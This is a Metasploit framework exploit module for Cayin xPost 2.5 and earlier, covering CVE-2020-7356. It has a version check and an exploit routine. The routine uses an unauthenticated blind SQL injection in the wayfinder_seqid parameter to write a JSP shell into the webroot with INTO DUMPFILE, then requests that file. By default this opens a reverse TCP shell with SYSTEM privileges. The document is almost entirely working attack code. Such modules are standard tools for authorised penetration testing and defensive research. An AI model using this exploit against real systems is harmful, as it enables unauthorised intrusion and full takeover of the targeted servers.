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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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  Rank = ExcellentRanking
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  include Msf::Exploit::Remote::HttpClient
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  include Msf::Exploit::FileDropper
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  def initialize(info = {})
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    super(
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      update_info(
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        info,
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        'Name' => 'Cayin xPost wayfinder_seqid SQLi to RCE',
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        'Description' => %q{
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          This module exploits an unauthenticated SQLi in Cayin xPost <=2.5.  The
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          wayfinder_meeting_input.jsp file's wayfinder_seqid parameter can be injected
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          with a blind SQLi.  Since this app bundles MySQL and apache Tomcat the
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          environment is pretty static and therefore the default settings should
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          work.  Results in SYSTEM level access.
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          Only the java/jsp_shell_reverse_tcp and java/jsp_shell_bind_tcp payloads
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          seem to be valid.
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        },
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        'License' => MSF_LICENSE,
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        'Author' => [
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          'h00die', # msf module
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          'Gjoko Krstic (LiquidWorm) <[email protected]>' # original PoC, discovery
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        ],
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        'References' => [
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          [ 'EDB', '48558' ],
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          [ 'URL', 'https://www.zeroscience.mk/en/vulnerabilities/ZSL-2020-5571.php' ],
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          [ 'CVE', '2020-7356' ]
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        ],
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        'Platform' => ['java', 'win'],
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        'Privileged' => true,
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        'Arch' => ARCH_JAVA,
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        'Targets' => [
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          [ 'Automatic Target', {}]
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        ],
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        'DisclosureDate' => '2020-06-04',
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        'DefaultOptions' => {
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          'PAYLOAD' => 'java/jsp_shell_reverse_tcp'
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        },
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        # meterpreter is too large for payload space
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        'Payload' => {
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          'Space' => 2000,
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          'DisableNops' => true
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        },
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        'DefaultTarget' => 0,
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        'Notes' => {
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          'Stability' => [CRASH_SAFE],
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          'Reliability' => [REPEATABLE_SESSION],
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          'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
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        }
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      )
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    )
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    register_options(
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      [
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        Opt::RPORT(80),
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        OptString.new('TARGETURI', [true, 'The URI of Cayin xPost', '/']),
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        OptString.new('LOCALWEBROOT', [true, 'Local install path webroot', 'C:/CayinApps/webapps/' ]), # default location
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        OptString.new('PAYLOADNAME', [false, 'Name of payload file to write', ''])
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      ]
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    )
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  end
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  def check
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    res = send_request_cgi(
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      'uri' => normalize_uri(target_uri.path, 'cayin', 'js', 'English', 'language.js')
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    )
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    if res.nil? || res.code != 200
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      return CheckCode::Safe('Could not connect to the web service, check URI Path and IP')
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    end
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    %r{// xPost v(?<version>[\d.]+) } =~ res.body
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    if version && Rex::Version.new(version) <= Rex::Version.new('2.5')
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      print_good("Version Detected: #{version}")
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      return CheckCode::Appears
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    end
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    # try a backup plan, at least verify the title
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    res = send_request_cgi(
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      'uri' => normalize_uri(target_uri.path, 'cayin', 'index.jsp')
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    )
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    if res.nil? || res.code != 200
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      return CheckCode::Safe('Could not connect to the web service, check URI Path and IP')
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    end
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    if res.body =~ %r{<title>xPost</title>}
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      vprint_good('HTML Title includes xPost')
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      return CheckCode::Detected
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    end
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    CheckCode::Safe
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  rescue ::Rex::ConnectionError
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    CheckCode::Safe('Could not connect to the web service, check URI Path and IP')
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  end
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  def exploit
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    filename = datastore['PAYLOADNAME'].blank? ? "#{rand_text_alphanumeric(6..12)}.jsp" : datastore['PAYLOADNAME']
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    filename = "#{filename}.jsp" unless filename.end_with? '.jsp'
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    vprint_status("Utilizing payload filename #{filename}")
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    vprint_status("Payload Size: #{payload.encoded.length}")
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    vprint_status("Payload Size Encoded: #{payload.encoded.unpack1('H*').length}")
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    payload_request = "-251' UNION ALL SELECT 0x"
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    payload_request << payload.encoded.unpack1('H*')
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    payload_request << ',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL '
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    payload_request << "INTO DUMPFILE '#{datastore['LOCALWEBROOT']}#{filename}'-- -"
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    payload_request.gsub!(' ', '%20')
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    vprint_status('Attempting Exploitation')
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    uri = normalize_uri(target_uri.path, 'cayin', 'wayfinder', 'wayfinder_meeting_input.jsp')
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    # use raw to prevent encoding of injection characters
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    res = send_request_raw(
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      'uri' => "#{uri}?wayfinder_seqid=#{payload_request}"
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    )
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    fail_with(Failure::UnexpectedReply, "#{peer} - Could not connect to web service - no response") if res.nil?
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    if res.code == 400
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      fail_with(Failure::UnexpectedReply, "#{peer} - Payload too large, utilize a smaller payload")
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    end
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    if res.code != 302
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      fail_with(Failure::UnexpectedReply, "#{peer} - Invalid response to injection")
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    end
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    register_file_for_cleanup("#{datastore['LOCALWEBROOT']}#{filename}")
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    vprint_status('Triggering uploaded payload')
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    send_request_cgi(
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      'uri' => normalize_uri(target_uri.path, filename)
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    )
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  rescue ::Rex::ConnectionError
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    fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")
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  end
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end
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